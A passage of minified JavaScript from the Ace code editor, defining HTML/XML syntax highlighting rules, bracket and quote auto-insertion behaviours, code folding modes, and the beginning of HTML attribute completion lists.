tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[